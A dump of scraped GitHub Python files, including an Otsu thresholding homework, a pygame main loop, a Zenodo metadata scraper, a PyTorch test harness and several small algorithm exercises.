return total \n \n\"\"\"var_sum compute the variance before divided by the total height\"\"\"\ndef var_sum(histogram, threshold, mean, front = True):\n \n total = 0\n \n if front == True:\n for i in range(threshold): \n total += (i - mean) ** 2 * histogram[i]\n elif front == False:\n for i in range(threshold, 256):\n total += (i - mean) ** 2 * histogram[i]\n return total\n \n\"\"\"\nImage: input image\nshow: whether to imshow() the modified image\n\"\"\"\ndef otsu_threshold(image, show = False):\n \n #transformation\n image = np.array(image)\n image_2D = image[:,:,0]\n \n row_len = image.shape[0]\n col_len = image.shape[1]\n var_total = []\n new_image = image\n \n #1. create frequency histogram\n fre = np.zeros(256)\n for i in range(row_len):\n for j in range(col_len):\n fre[image_2D[i][j]] += 1\n \n #2. loop through each threshold\n for t in range(256):\n \n \n #find weight\n total_height_front = np.sum(fre[0 : t]) #<= threshold \n total_height_back = np.sum(fre[t : 256]) #> threshold\n weight_front = total_height_front/ row_len / col_len\n weight_back = 1 - weight_front\n\n #find mean\n mean_front = 0\n mean_back = 0\n \n if total_height_front != 0:\n mean_front = summation(fre, t) / total_height_front\n if total_height_back != 0:\n mean_back = summation(fre, t, False) / total_height_back\n \n #find variance \n var_front = 0\n var_back = 0\n if total_height_front != 0:\n var_front = var_sum(fre, t, mean_front) / total_height_front\n if total_height_back != 0:\n var_back = var_sum(fre, t, mean_back, False) / total_height_back\n \n #total variance \n var_total.append(weight_front * var_front + weight_back * var_back)\n \n #optimal threshold\n opt = var_total.index(min(var_total))\n #print(\"Your optimal threshold is\", opt)\n \n #change to foreground and backgroud\n for i in range(row_len):\n for j in range(col_len):\n if image_2D[i][j] < opt:\n image_2D[i][j] = 0\n else:\n image_2D[i][j] = 255\n \n #change back to 3D \n new_image[:,:,0], new_image[:,:,1], new_image[:,:,2] = image_2D, image_2D, image_2D\n \n if show == True:\n plt.imshow(new_image)\n return new_image\n \n\"\"\"Test\"\"\"\notsu_threshold(im, show = True)\n\n\n\n\"\"\"Q4\"\"\"\n\"\"\"\nm_input: the original image\nmethod: either uniform or gaussian\nk: the parameter user chooses for the method, odd number\nsigma: the parameter for gaussian \n\"\"\" \ndef blur_background(m_input, method, k, sigma = 10):\n \n m_input = np.array(m_input) \n \n #make sure the image is in gray scale\n m_input = gray_scale(m_input)\n gray = np.array(m_input) \n \n #return gray\n \n #get the dimension of the picture\n row_len = gray.shape[0]\n col_len = gray.shape[1]\n #blurred = np.zeros((row_len, col_len))\n \n blurred = np.matrix.copy(gray)\n margin_width = int(k/2) \n half_k = int(k/2) #the width of the submatrix is k.\n \n black_white = otsu_threshold(m_input)[:,:,0]\n \n #uniform blurring\n if method == \"uniform\":\n \n for i in range(margin_width, row_len - margin_width):\n for j in range(margin_width, col_len - margin_width):\n if black_white[i][j] == 255: \n #extract submatrix\n submatrix = gray[np.ix_([i - half_k, i + half_k], \n [j - half_k, j + half_k])]\n \n #get mean of the submatrix\n blurred[i][j] = np.mean(submatrix)\n \n #gaussian blurring\n elif method == \"gaussian\":\n \n for i in range(margin_width, row_len - margin_width):\n for j in range(margin_width, col_len - margin_width):\n if black_white[i][j] == 255: \n #get the weight matrix\n #submatrix = gray[np.ix_([i - half_k, i + half_k], [j - half_k, j + half_k])]\n submatrix = gray[(i - half_k):(i+half_k), (j - half_k): (j + half_k)]\n weight = np.zeros((k, k))\n \n for u in range(k):\n for v in range(k):\n weight[u][v] = (0.5/np.pi/sigma ** 2) * math.exp(-0.5 * \n ((u - half_k) ** 2 + (v - half_k) ** 2)/sigma ** 2)\n \n #normalize the weight matrix\n normal_weight = np.divide(weight, np.sum(weight))\n #return normal_weight, submatrix\n \n #multiplication\n blurred[i][j] = np.sum(normal_weight * submatrix[:, :, 0])\n \n plt.imshow(blurred)\n \n return blurred\n\n\"\"\"Test\"\"\"\nblur_background(im, \"gaussian\", 20) \n \n","repo_name":"HowellYu/UCLA-PIC-16","sub_path":"HW6/hw6.py","file_name":"hw6.py","file_ext":"py","file_size_in_byte":11142,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"42519481422","text":"import time\nimport os \nimport pygame\nimport configparser\n\nfrom PYGUSES.pyguses.curses import Curses\nfrom GameManager.gui.menu import MainMenu\nfrom GameManager.demo import Demo\nfrom GameManager.new_game import NewGame\nfrom GameManager.controller import MouseController, KeyboardController\n\n# system setting\nos.environ['SDL_VIDEO_CENTERED'] = '1'\n\nclass Game():\n\n def __init__(self):\n self.initialization()\n\n def initialization(self):\n # Game config settings\n config = configparser.ConfigParser()\n config.read('config.ini')\n\n # [VERSION]\n game_title = config['VERSION']['title']\n game_ver = config['VERSION']['version']\n game_date = config['VERSION']['date']\n self.title = '%s --- %s(%s)' %(game_title, game_ver, game_date)\n # [WINDOW]\n self.fps = int(config['WINDOW']['fps'])\n self.screen_width = int(config['WINDOW']['screen_width'])\n self.screen_height = int(config['WINDOW']['screen_height'])\n self.is_fullscreen = bool(int(config['WINDOW']['is_fullscreen']))\n self.icon_image_path = config['ASSETS']['icon_image_path']\n \n # Pygame initialization\n pygame.init()\n if self.is_fullscreen:\n self.screen = pygame.display.set_mode((self.screen_width, self.screen_height), pygame.FULLSCREEN)\n else:\n self.screen = pygame.display.set_mode((self.screen_width, self.screen_height))\n pygame.display.set_caption(self.title)\n pygame.display.set_icon(pygame.image.load(self.icon_image_path))\n self.done = False\n self.clock = pygame.time.Clock() \n \n # Game initialization\n pygame.mouse.set_visible(False)\n \n self.curses = Curses(self.screen_width, self.screen_height, 'black')\n self.mouse_controller = MouseController(self.curses)\n self.keyboard_controller = KeyboardController(self.curses)\n \n self.select_dict = {0 : 'New Game', 1 : 'Demo', 2 : 'Quit'}\n menu_size = (40, 20)\n self.menu = MainMenu(self.curses, self.mouse_controller, self.keyboard_controller, int(self.curses.win_width/2 - menu_size[0]/2), int(self.curses.win_height/2 - menu_size[1]/2), menu_size[0], menu_size[1], \\\n self.select_dict, align='mid', flick_enable=True, indicator_enable=True, mouse_enable=True)\n \n self.demo = Demo(self.curses, self.keyboard_controller) \n self.new_game = NewGame(self.curses, self.mouse_controller, self.keyboard_controller)\n \n def run(self):\n \n while not self.done:\n # --- Main event loop\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.done = True\n \n t0 = time.time()\n # --- Game logic should go here\n \n # Main Menu\n if self.menu.enable:\n flag = self.menu.update()\n if self.keyboard_controller.pressed != None or self.mouse_controller.pressed!=None:\n # ESC pressed on main menu\n if self.keyboard_controller.pressed != None:\n is_exit = self.keyboard_controller.pressed[pygame.K_ESCAPE]\n else:\n is_exit = False\n \n # Game states\n if flag == 'New Game':\n self.curses.clear_window()\n self.new_game.start()\n self.mouse_controller.initialization()\n self.keyboard_controller.initialization()\n elif flag == 'Demo':\n self.curses.clear_window()\n self.demo.start()\n self.mouse_controller.initialization()\n self.keyboard_controller.initialization()\n elif flag == 'Quit' or is_exit:\n self.done = True\n \n # Game\n if self.new_game.enable:\n self.new_game.update(event)\n else:\n # Diable demo and reactivate main menu\n if not self.menu.enable and flag == 'New Game':\n self.menu.initialization()\n self.new_game.initialization() \n self.mouse_controller.initialization()\n\n # Demo\n if self.demo.enable:\n self.demo.update()\n else:\n # Diable demo and reactivate main menu\n if not self.menu.enable and flag == 'Demo':\n self.menu.initialization()\n self.demo.initialization()\n self.mouse_controller.initialization()\n \n # Keyboard and mouse control\n self.keyboard_controller.update(event)\n self.mouse_controller.update()\n \n # Curses display\n self.screen.blit(self.curses.background, (0, 0)) \n self.screen.blit(self.curses.get_window_surface(), (0, 0))\n self.screen.blit(self.curses.foreground, (0, 0))\n \n # --- Go ahead and update the screen with what we've drawn.\n pygame.display.flip()\n \n # --- Limit to 60 frames per second\n self.clock.tick(self.fps)\n \n print('\\rGame loop time elapsed: %.4f sec.' %(time.time() - t0), end='\\r')\n\n # Close the window and quit.\n # If you forget this line, the program will 'hang'\n # on exit if running from IDLE.\n pygame.quit()\n","repo_name":"maccam912/Oddyssey","sub_path":"src/GameManager/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"} +{"seq_id":"22885244058","text":"import json\n\n# To create hands.json file\n\n\ndef create_badugi_hand_ranks():\n hands = []\n for card1 in range(1, 14):\n hands.append([card1])\n for card2 in range(max(card1 + 1, 2), 14):\n hands.append([card1, card2])\n for card3 in range(max(card1 + 1, card2 + 1, 3), 14):\n hands.append([card1, card2, card3])\n for card4 in range(max(card1 + 1, card2 + 1, card3 + 1, 3), 14):\n hands.append([card1, card2, card3, card4])\n\n hands.sort(\n key=lambda x: (\n len(x),\n max(x) * -1,\n max(x[:3] if len(x) == 4 else x) * -1,\n max(x[:2] if len(x) >= 3 else x) * -1,\n ),\n )\n\n # print(hands)\n # print(len(hands))\n\n handobj = {}\n for i, hand in enumerate(hands):\n k = \"-\".join(map(str, hand))\n if k in handobj:\n print(\"ERROR\", hand)\n else:\n handobj[k] = i + 1\n\n print(handobj)\n\n open(\"./tools/hands.json\", \"w\").write(json.dumps(handobj))\n\n\nif __name__ == \"__main__\":\n create_badugi_hand_ranks()\n","repo_name":"sambergo/badugi","sub_path":"game/tools/create_badugi_hand_ranks.py","file_name":"create_badugi_hand_ranks.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8638310132","text":"\"\"\"\n\nusing zenodopy client (https://github.com/lgloege/zenodopy).\n\nImportant to mention:\n- each API request cannot return more than 10K items, so I am doing the queries partitioning the time from 20100101 to today() with a delta-days of 5\n- with a delta of 5 days we do (2022-2010)*365/5=~876 network requests\n- probably using a delta larger we could get better numbers, but I found certain period of 5 days with more than 10K records\n- there is a rate limiter of 60 requests per minute and 2000 requests per hour (33 req/min), so I am using an overall 30 calls/min\n\nRate limiter code:\n```\nfrom tkinter import E\nfrom ratelimit import limits, RateLimitException, sleep_and_retry\n\n@sleep_and_retry\n@limits(calls=30, period=60) \ndef GetJSONResponse(url):\n\t... code here..\n```\n\nStatistics\n- num-datasets=1,012,474 (NOTE: using DOI as it was a dataset)\n- num-records=3,485,074 (3M)\n- tot-size=373,890,709,078,423 (373TB)\n- network-upload-bytes=46,367,940 (46MB)\n- network-download-bytes=4,238,454,624 (4GB)\n- total-seconds=19734 (5.4 hours)\n\n\"\"\"\n\nimport os,sys,requests,time, datetime,urllib3\nimport zenodopy\nfrom pprint import pprint\nimport json, csv\n\n# I can use the guest account, it has some limitation bgut will be fine to get public records\nzeno = zenodopy.Client()\n\n# /////////////////////////////////////////////////////////////\n# ZENODO Global limit for guest users\t60 requests per minute, 2000 requests per hour (==max overall 30 request per 60 seconds)\n# see # https://developers.zenodo.org/\n# https://akshayranganath.github.io/Rate-Limiting-With-Python/\n# /////////////////////////////////////////////////////////////\n# from tkinter import E\nfrom ratelimit import limits, RateLimitException, sleep_and_retry\n\n@sleep_and_retry\n@limits(calls=30, period=60) \ndef GetJSONResponse(url):\n\tret=requests.get(url, verify=True, timeout=(10,60))\n\tif ret.status_code!=200:\n\t\traise Exception(f\"Cannot get response for url={url} got {ret.status_code} {ret.reason}\")\n\treturn ret\n\n# this is an hard limit imposed by the Zenodo Search API that is using ElasticCache\nZENODO_MAX_RECORDS=10000\n\n# /////////////////////////////////////////////////////////////\ndef GetZenodoRecords(a,b):\n\n\t# create the url with the condition on publication_date\n\td1=datetime.date.fromordinal(a)\n\td2=datetime.date.fromordinal(b)\n\tm=f\"{d1.year}-{d1.month:02d}-{d1.day:02d}\"\n\tM=f\"{d2.year}-{d2.month:02d}-{d2.day:02d}\"\n\turl=requests.Request('GET','https://zenodo.org/api/records', params={\n\t\t'q': '(publication_date: [\"%s\" TO \"%s\"})' % (m,M), # first date is included, second data is excluded\n\t\t'sort': 'publication_date',\n\t\t'status': 'published', \n\t\t'size' : ZENODO_MAX_RECORDS,\n\t\t'page' : '1'\n\t\t}).prepare().url\n\n\t\n\t# try several times...\n\tt1=time.time()\n\t#print(f\"starting requests d1={d1} d2={d2} delta={b-a} ...\")\n\tfor retry in range(3):\n\t\ttry:\n\t\t\tresponse=GetJSONResponse(url).json()\n\t\t\tbreak\n\t\texcept Exception as ex:\n\t\t\t# too many retries\n\t\t\tif retry==2: \n\t\t\t\traise\n\n\ttotal=response['hits']['total']\n\tprint(f\"Got response d1={d1} d2={d2} delta={b-a} in {time.time()-t1:.2f} seconds #records={total}\")\n\n\t# am I getting all hits?\n\tif total<ZENODO_MAX_RECORDS:\n\t\treturn response['hits']['hits']\n\n\t# failed, need to try with lower delta\n\tdelta=b-a\n\tif delta==1:\n\t\traise Exception(f\"Cannot do much, got #records={total} with delta={delta}\")\n\n\tdelta=max(1,delta//2)\n\tprint(f\"Got Too many records, reducing delta={delta}\")\n\tret=[]\n\tfor d in range(a,b,delta):\n\t\tret.extend(GetZenodoRecords(d,min(d+delta,b)))\n\treturn ret\n\n# /////////////////////////////////////////////////////\n\"\"\"\n{'conceptdoi': '10.5281/zenodo.3234155',\n 'conceptrecid': '3234155',\n 'created': '2019-05-28T23:20:04.663116+00:00',\n 'doi': '10.5281/zenodo.3234156',\n 'files': [{'bucket': '2c6022e0-2c31-4cc6-b677-374bb17b3ca7',\n 'checksum': 'md5:55b1d56a6d9adb9e431a01fb5f91f791',\n 'key': 'wlodarczak_etal_2010_entailed_feedback.pdf',\n 'links': {'self': 'https://zenodo.org/api/files/2c6022e0-2c31-4cc6-b677-374bb17b3ca7/wlodarczak_etal_2010_entailed_feedback.pdf'},\n 'size': 87621,\n 'type': 'pdf'}],\n 'id': 3234156,\n 'links': {'badge': 'https://zenodo.org/badge/doi/10.5281/zenodo.3234156.svg',\n 'bucket': 'https://zenodo.org/api/files/2c6022e0-2c31-4cc6-b677-374bb17b3ca7',\n 'conceptbadge': 'https://zenodo.org/badge/doi/10.5281/zenodo.3234155.svg',\n 'conceptdoi': 'https://doi.org/10.5281/zenodo.3234155',\n 'doi': 'https://doi.org/10.5281/zenodo.3234156',\n 'html': 'https://zenodo.org/record/3234156',\n 'latest': 'https://zenodo.org/api/records/3234156',\n 'latest_html': 'https://zenodo.org/record/3234156',\n 'self': 'https://zenodo.org/api/records/3234156'},\n 'metadata': {'access_right': 'open',\n 'access_right_category': 'success',\n 'creators': [{'affiliation': 'Bielefeld University',\n 'name': 'Marcin Włodarczak',\n 'orcid': '0000-0003-3824-2980'},\n {'affiliation': 'Tilburg University',\n 'name': 'Harry Bunt'},\n {'affiliation': 'Tilburg University',\n 'name': 'Volha Petukhova'}],\n 'description': '<p>In this paper we investigate relationships '\n 'between entailment relations among communicative '\n 'functions and dominance judgements in an '\n 'annotation task in which participants are '\n 'instructed to rank utterance functions in terms '\n 'of their importance. It is hypothesised that on '\n 'average entailed functions should be assigned '\n 'lower ranks than entailing functions. '\n 'Preliminary results of an experiment are '\n 'reported for positive auto-feedback functions '\n 'which are argued to be entailed by '\n 'backward-looking functions such as Confirm.</p>',\n 'doi': '10.5281/zenodo.3234156',\n 'language': 'eng',\n 'license': {'id': 'CC-BY-4.0'},\n 'publication_date': '2010-01-01',\n 'related_identifiers': [{'identifier': '10.5281/zenodo.3234155',\n 'relation': 'isVersionOf',\n 'scheme': 'doi'}],\n 'relations': {'version': [{'count': 1,\n 'index': 0,\n 'is_last': True,\n 'last_child': {'pid_type': 'recid',\n 'pid_value': '3234156'},\n 'parent': {'pid_type': 'recid',\n 'pid_value': '3234155'}}]},\n 'resource_type': {'subtype': 'conferencepaper',\n 'title': 'Conference paper',\n 'type': 'publication'},\n 'title': 'Entailed feedback: Evidence from a ranking experiment'},\n 'owners': [58863],\n 'revision': 5,\n 'stats': {'downloads': 16.0,\n 'unique_downloads': 12.0,\n 'unique_views': 97.0,\n 'version_downloads': 16.0,\n 'version_unique_downloads': 12.0,\n 'version_unique_views': 97.0,\n 'version_views': 108.0,\n 'version_volume': 1401936.0,\n 'views': 108.0,\n 'volume': 1401936.0},\n 'updated': '2020-01-20T15:22:18.773179+00:00'}\n\n\"\"\"\n\n# /////////////////////////////////////////////////////\nif __name__==\"__main__\":\n\t\"\"\"\n\tpython3 nsdf/catalog/zenodo.py zenodo.json\n \tpython3 nsdf/catalog/zenodo.py zenodo.csv\n\t\"\"\"\n \n\taction=sys.argv[1]\n\n\n # /////////////////////////////////////////////////////\n\tif action==\"zenodo.json\":\n\t\tRECORDS=[]\n\t\tlong_ago=datetime.date(2010, 1, 1).toordinal() # I am loosing some Zenodo records but with wrong date\n\t\ttoday=datetime.datetime.today().toordinal()\n\n\t\timport psutil\n\t\tio1 = psutil.net_io_counters()\n\t\tT1=time.time()\n\n\t\t# choose the delta in a way that you don't get more than 10K records for a request\n\t\tdelta=5\n\n\t\tfor A in range(long_ago,today,delta):\n\t\t\tB=min(today,A+delta)\n\t\t\ttry:\n\t\t\t\tRECORDS.extend(GetZenodoRecords(A,B))\n\t\t\texcept Exception as ex:\n\t\t\t\tprint(f\"ERROR A={A} B={B} exception={ex}\")\n\n\t\tio2 = psutil.net_io_counters()\n\t\tprint(f\"num-network-upload-bytes={io2.bytes_sent - io1.bytes_sent:,} network-download-bytes={io2.bytes_recv - io1.bytes_recv:,} sec={time.time()-T1:.2f}\")\t\n\n\t\twith open(\"zenodo.json\", 'w') as fp:\n\t\t\tjson.dump(RECORDS, fp)\n\t\n\t\tprint(\"ALl done\")\n\t\tsys.exit(0)\n \n # /////////////////////////////////////////////////////\n\tif action==\"zenodo.csv\":\n\n\t\twith open(\"zenodo.json\", 'r') as fin:\n\t\t\tRECORDS=json.load(fin)\n\n\t\twith open(\"zenodo.csv\",\"w\") as fout:\n\t\t\twriter=csv.writer(fout)\n\t\t\tnum_files,tot_size=0,0\n\t\t\tfor record in RECORDS:\n\t\t\t\tfor f in record.get('files',[]):\n\n\t\t\t\t\tdef Encode(value):\n\t\t\t\t\t\treturn str(value).replace(\",\",\" \").replace(\"'\",\" \").replace('\"',\" \").replace(\" \",\" \")\n\t\t\t\t\t\n\t\t\t\t\twriter.writerow([\n\t\t\t\t\t\t\"zenodo.org\", # catalog\n\t\t\t\t\t\trecord.get(\"conceptdoi\",\"na\"), # bucket\n\t\t\t\t\t\tEncode(f.get(\"key\",\"\")), # filename\n\t\t\t\t\t\tf.get(\"size\",0), # size\n\t\t\t\t\t\trecord.get(\"created\",\"\"), # creation time and/or modification time\n\t\t\t\t\t\tf.get(\"checksum\",\"\") # checksum\n\t\t\t\t\t]) \n\t\t\t\t\tnum_files+=1\n\t\t\t\t\ttot_size+=f.get(\"size\",0)\n\t\t\tprint(\"num_files\",num_files,\"tot_size\",tot_size)\n\t\tsys.exit(0)","repo_name":"nsdf-fabric/nsdf-software-stack","sub_path":"nsdf/catalog/scraping/zenodo.py","file_name":"zenodo.py","file_ext":"py","file_size_in_byte":9714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"8902632314","text":"# the solution for longest common pattern in two given strings\n#\ndef LIS_str(text1, text2):\n matrix = [[0 for _ in range(len(text2)+1)] for _ in range(len(text1)+1)]\n print(len(text1), ' ', len(text2), \" \", matrix[5][3])\n\n for i in range(len(text1)-1, -1, -1):\n for j in range(len(text2)-1, -1, -1):\n if text1[i] == text2[j]:\n matrix[i][j] = 1 + matrix[i+1][j+1]\n else:\n matrix[i][j] = max(matrix[i][j + 1], matrix[i + 1][j])\n\n return matrix[0][0]\n\nprint(LIS_str('abcde', 'ace'))\n","repo_name":"mearafGitHub/Algorithims","sub_path":"LIS_string.py","file_name":"LIS_string.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"31969398449","text":"'''Задача 52'''\n# Найдите такое наименьшее положительное целое число x, чтобы 2x, 3x, 4x, 5x и 6x состояли из одних и тех же цифр.\n\nfrom sys import maxsize\n\n\ndef func(arg):\n for l in arg:\n for i in str(l):\n if i in a:\n continue\n else:\n return None\n return arg\n\n\nfor x in range(2, maxsize ** 10):\n a = str(2 * x)\n b = 3 * x\n c = 4 * x\n d = 5 * x\n e = 6 * x\n lst = [b, c, d, e]\n if func(lst) == lst:\n print(x)\n break\n","repo_name":"OSEHb/project-euler","sub_path":"EP-52.py","file_name":"EP-52.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"5694871686","text":"import os, time, sys\nfrom Plugins.Configs.Settings import *\n\ndef Org_Rules():\n Rules_List = \"---Here Is The Organization Rules List---\"\n print(BG_Bright_Cyan + Bright_Yellow)\n for char in Rules_List:\n sys.stdout.write(char)\n sys.stdout.flush()\n time.sleep(0.3)\n print(Rest +\"\" + Bright_Red)\n Rules_msg = \"Organization's Rules;\\n\\\nI). Dont share this BlackDoc.\\n\\\nII). Dont copyright any Script!.\\n\\\nIII). You must be an active member.\\n\\\nIV). You must respect other members.\\n\\\nV). If you are a beginner please study hard\\n\\\neverything you need is in BlackDocument.\\n\\\n\\n\\\nNote: If you break one of this rules.\\n\\\nyou will lose your membership,\\n\\\nthats the last imported Rule.\"\n for char in Rules_msg:\n sys.stdout.write(char)\n sys.stdout.flush()\n time.sleep(0.3)\n print(Rest +\"\")","repo_name":"CHHOrganization/BlackDoc","sub_path":"Plugins/Configs/Pages/More_Menu_Pages/Org_Rules.py","file_name":"Org_Rules.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"71"} +{"seq_id":"40504472456","text":"\"\"\" Extract some data for Colin \n\n1951-2010 Annual GDDs by climate district Apr 1 - Oct 31\n1951-2010 Frost-free days ...\n\n\"\"\"\nimport pandas as pd\nimport psycopg2\nfrom pyiem.network import Table as NetworkTable\n\npgconn = psycopg2.connect(database=\"coop\")\ncursor = pgconn.cursor()\nnt = NetworkTable(\n [\n \"IACLIMATE\",\n \"MNCLIMATE\",\n \"NDCLIMATE\",\n \"OHCLIMATE\",\n \"INCLIMATE\",\n \"ILCLIMATE\",\n \"MICLIMATE\",\n \"WICLIMATE\",\n \"SDCLIMATE\",\n \"NECLIMATE\",\n \"KSCLIMATE\",\n \"MOCLIMATE\",\n ]\n)\n\n\nres = []\nfor sid in nt.sts.keys():\n if sid[2] != \"C\":\n continue\n TABLE = \"alldata_%s\" % (sid[:2],)\n cursor.execute(\n \"\"\"\n WITH gdd as (\n SELECT year, sum(gdd50(high,low)) from \"\"\"\n + TABLE\n + \"\"\" WHERE\n station = %s and sday between '0401' and '1031' and year >= 1951\n and year < 2011 GROUP by year),\n ff as (\n SELECT year, \n max(case when month < 7 and low < 32 then extract(doy from day) else 0 end),\n min(case when month > 7 and low < 32 then extract(doy from day) else 366 end)\n from \"\"\"\n + TABLE\n + \"\"\" WHERE station = %s and year >= 1951 and year < 2011\n GROUP by year)\n \n SELECT g.year, g.sum, f.min - f.max from ff f JOIN gdd g on (g.year = f.year)\n ORDER by g.year ASC\n \"\"\",\n (sid, sid),\n )\n for row in cursor:\n res.append(\n dict(station=sid, year=row[0], gdd50=row[1], frostfree=int(row[2]))\n )\n\ndf = pd.DataFrame(res)\ndf.to_csv(\n \"output.csv\",\n index=False,\n columns=[\"station\", \"year\", \"gdd50\", \"frostfree\"],\n)\n","repo_name":"isudatateam/datateam","sub_path":"scripts/cscap/wx/extract_colin.py","file_name":"extract_colin.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"71"} +{"seq_id":"30188626432","text":"import sys\n_module = sys.modules[__name__]\ndel sys\nrun = _module\nsetup = _module\npowerful_benchmarker = _module\napi_parsers = _module\napi_cascaded_embeddings = _module\napi_deep_adversarial_metric_learning = _module\napi_train_with_classifier = _module\napi_unsupervised_embeddings_using_augmentations = _module\nbase_api_parser = _module\narchitectures = _module\nmisc_models = _module\nconfigs = _module\ndatasets = _module\ncars196 = _module\nceleb_a = _module\ncub200 = _module\nstanford_online_products = _module\nrunners = _module\nbase_runner = _module\nbayes_opt_runner = _module\nsingle_experiment_runner = _module\nsplit_managers = _module\nbase_split_manager = _module\nclass_disjoint_split_manager = _module\nclosed_set_split_manager = _module\nembedding_space_split_manager = _module\nindex_split_manager = _module\npredefined_split_manager = _module\nsplit_scheme_holder = _module\nutils = _module\ncommon_functions = _module\ndataset_utils = _module\n\nfrom _paritybench_helpers import _mock_config, patch_functional\nfrom unittest.mock import mock_open, MagicMock\nfrom torch.autograd import Function\nfrom torch.nn import Module\nimport abc, collections, copy, enum, functools, inspect, itertools, logging, math, matplotlib, numbers, numpy, pandas, queue, random, re, scipy, sklearn, string, tensorflow, time, torch, torchaudio, torchtext, torchvision, types, typing, uuid, warnings\nimport numpy as np\nfrom torch import Tensor\npatch_functional()\nopen = mock_open()\nyaml = logging = sys = argparse = MagicMock()\nArgumentParser = argparse.ArgumentParser\n_global_config = args = argv = cfg = config = params = _mock_config()\nargparse.ArgumentParser.return_value.parse_args.return_value = _global_config\nyaml.load.return_value = _global_config\nsys.argv = _global_config\n__version__ = '1.0.0'\nxrange = range\nwraps = functools.wraps\n\n\nimport torch\n\n\nimport numpy as np\n\n\nimport logging\n\n\nimport copy\n\n\nfrom torch.utils.tensorboard import SummaryWriter\n\n\nimport torch.nn\n\n\nfrom scipy import stats as scipy_stats\n\n\nfrom collections import defaultdict\n\n\nimport torch.nn as nn\n\n\nfrom torch.utils.data import Dataset\n\n\nimport scipy.io as sio\n\n\nfrom torchvision.datasets.utils import download_url\n\n\nfrom torchvision import datasets\n\n\nfrom collections import OrderedDict\n\n\nimport itertools\n\n\nimport collections\n\n\nimport inspect\n\n\nimport torch.utils.data\n\n\nclass LayerExtractor(nn.Module):\n\n def __init__(self, convnet, keep_layers, skip_layers, insert_functions):\n super().__init__()\n self.convnet = convnet\n self.keep_layers = keep_layers\n self.skip_layers = skip_layers\n self.insert_functions = insert_functions\n self.pooler = nn.AdaptiveAvgPool2d((1, 1))\n for k in ['mean', 'std', 'input_space', 'input_range']:\n setattr(self, k, getattr(convnet, k, None))\n\n def forward(self, x):\n return self.layer_by_layer(x)\n\n def layer_by_layer(self, x, return_layer_sizes=False):\n outputs = []\n for layer_name, layer in self.convnet.named_children():\n if layer_name in self.skip_layers:\n continue\n x = layer(x)\n if layer_name in self.insert_functions:\n for zzz in self.insert_functions[layer_name]:\n x = zzz(x)\n if layer_name in self.keep_layers:\n pooled_x = self.pooler(x).view(x.size(0), -1)\n outputs.append(pooled_x)\n output = torch.cat(outputs, dim=-1)\n if return_layer_sizes:\n return output, [x.size(-1) for x in outputs]\n return output\n\n\nclass ListOfModels(nn.Module):\n\n def __init__(self, list_of_models, input_sizes=None, operation_before_concat=None):\n super().__init__()\n self.list_of_models = nn.ModuleList(list_of_models)\n self.input_sizes = input_sizes\n self.operation_before_concat = (lambda x: x) if not operation_before_concat else operation_before_concat\n for k in ['mean', 'std', 'input_space', 'input_range']:\n setattr(self, k, getattr(list_of_models[0], k, None))\n\n def forward(self, x):\n outputs = []\n if self.input_sizes is None:\n for m in self.list_of_models:\n curr_output = self.operation_before_concat(m(x))\n outputs.append(curr_output)\n else:\n s = 0\n for i, y in enumerate(self.input_sizes):\n curr_input = x[:, s:s + y]\n curr_output = self.operation_before_concat(self.list_of_models[i](curr_input))\n outputs.append(curr_output)\n s += y\n return torch.cat(outputs, dim=-1)\n\n\nclass MLP(nn.Module):\n\n def __init__(self, layer_sizes, final_relu=False):\n super().__init__()\n layer_list = []\n layer_sizes = [int(x) for x in layer_sizes]\n num_layers = len(layer_sizes) - 1\n final_relu_layer = num_layers if final_relu else num_layers - 1\n for i in range(len(layer_sizes) - 1):\n input_size = layer_sizes[i]\n curr_size = layer_sizes[i + 1]\n if i < final_relu_layer:\n layer_list.append(nn.ReLU(inplace=True))\n layer_list.append(nn.Linear(input_size, curr_size))\n self.net = nn.Sequential(*layer_list)\n self.last_linear = self.net[-1]\n\n def forward(self, x):\n return self.net(x)\n\n\nclass Identity(nn.Module):\n\n def __init__(self):\n super().__init__()\n\n def forward(self, x):\n return x\n\n\nimport torch\nfrom torch.nn import MSELoss, ReLU\nfrom _paritybench_helpers import _mock_config, _mock_layer, _paritybench_base, _fails_compile\n\n\nTESTCASES = [\n # (nn.Module, init_args, forward_args, jit_compiles)\n (Identity,\n lambda: ([], {}),\n lambda: ([torch.rand([4, 4, 4, 4])], {}),\n True),\n (ListOfModels,\n lambda: ([], {'list_of_models': [_mock_layer()]}),\n lambda: ([torch.rand([4, 4, 4, 4])], {}),\n False),\n (MLP,\n lambda: ([], {'layer_sizes': [4, 4]}),\n lambda: ([torch.rand([4, 4, 4, 4])], {}),\n True),\n]\n\nclass Test_KevinMusgrave_powerful_benchmarker(_paritybench_base):\n def test_000(self):\n self._check(*TESTCASES[0])\n\n def test_001(self):\n self._check(*TESTCASES[1])\n\n def test_002(self):\n self._check(*TESTCASES[2])\n\n","repo_name":"eladhoffer/pytorch-jit-paritybench","sub_path":"generated/test_KevinMusgrave_powerful_benchmarker.py","file_name":"test_KevinMusgrave_powerful_benchmarker.py","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"} +{"seq_id":"16715941663","text":"# 이은석_0321 스터디 [분할 정복법]\n\n#1. 최댓값 찾기\ndef maxOfArray(arr):\n if len(arr) <= 1:\n # 탈출 조건을 작성해 주세요.\n return arr[0]\n \n # 핵심 기능을 작성해 주세요.\n mid = len(arr) // 2\n\n leftMax = maxOfArray(arr[:mid])\n rightMax = maxOfArray(arr[mid:])\n \n\n # leftMax, rightMax를 비교해서 더 큰 값을 반환해 주세요.\n \n return leftMax if(leftMax 